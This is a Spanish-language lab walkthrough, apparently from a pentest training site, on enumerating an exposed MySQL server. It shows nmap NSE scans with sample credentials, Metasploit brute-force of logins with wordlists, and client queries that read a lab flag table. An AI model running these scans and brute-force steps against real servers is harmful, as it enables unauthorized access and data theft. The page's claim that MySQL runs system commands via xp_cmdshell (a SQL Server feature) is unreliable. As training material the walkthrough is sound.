GhostAcademy logo GhostAcademy

MySQL Enumeration

Reconocimiento y Enumeración Base de Datos Puerto 3306 Nmap · Metasploit · mysql

📈 ¿Por qué es peligroso un MySQL expuesto?

MySQL escucha por defecto en el puerto 3306/TCP. Cuando está expuesto a la red sin restricciones de IP ni autenticación fuerte, un atacante puede enumerar usuarios, bases de datos y extraer datos sensibles — o incluso ejecutar comandos del sistema con xp_cmdshell si los privilegios lo permiten.

Riesgo crítico: MySQL accesible desde Internet con credenciales por defecto (root sin contraseña) es una de las configuraciones más explotadas en brechas de datos reales.

Comandos MySQL átiles una vez dentro

Comando SQLDescripción
show databases;Lista todas las bases de datos
use <db>;Selecciona una base de datos
show tables;Lista las tablas de la BD seleccionada
describe <tabla>;Muestra la estructura (columnas) de una tabla
select * from <tabla>;Muestra todos los registros
select user();Usuario actual de MySQL
select @@version;Versión del servidor
select @@datadir;Ruta del directorio de datos

🔧 Comandos del laboratorio

1. Identificación del objetivo

bash
cat /root/Desktop/target

2. Escaneo del puerto MySQL

bash
nmap -sS -sV -p 3306 <IP>

3. Enumeración con scripts NSE de Nmap

bash — información del servidor
nmap --script mysql-info -p 3306 <IP>
bash — enumerar usuarios (con credenciales)
nmap --script mysql-users -p 3306 --script-args mysqluser=root,mysqlpass=12345 <IP>
bash — listar bases de datos
nmap --script mysql-databases -p 3306 --script-args mysqluser=root,mysqlpass=12345 <IP>
bash — comprobar acceso sin contraseña
nmap --script mysql-empty-password -p 3306 <IP>

4. Enumeración y fuerza bruta con Metasploit

msfconsole — confirmar versión
use auxiliary/scanner/mysql/mysql_version
set RHOSTS <IP>
exploit
msfconsole — fuerza bruta de credenciales
use auxiliary/scanner/mysql/mysql_login
set RHOSTS <IP>
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set STOP_ON_SUCCESS true
exploit
STOP_ON_SUCCESS true: detiene el ataque en cuanto encuentra la primera credencial válida, evitando bloqueos de cuenta por exceso de intentos.

5. Acceso directo con cliente MySQL

bash — conectar al servidor
mysql -u root -p -h <IP>
mysql — explorar y obtener la flag
show databases;
use <nombre_db>;
show tables;
describe <tabla>;
select * from <tabla>;
mysql — leer directamente la flag
select * from flag;

🗼 Flujo del ejercicio

1
ReconocimientoConfirmar servicio MySQL en 3306/TCP con nmap -sV.
2
EnumeraciónScripts NSE para obtener versión, usuarios y bases de datos.
3
Fuerza brutaMetasploit mysql_login para encontrar credenciales válidas.
4
AccesoConectar con mysql -u <user> -p -h <IP>.
5
ExploraciónListar bases de datos, tablas y registros.
6
ObjetivoLocalizar y leer la flag con SELECT.

🎯 ¿Qué buscar? — Indicadores de éxito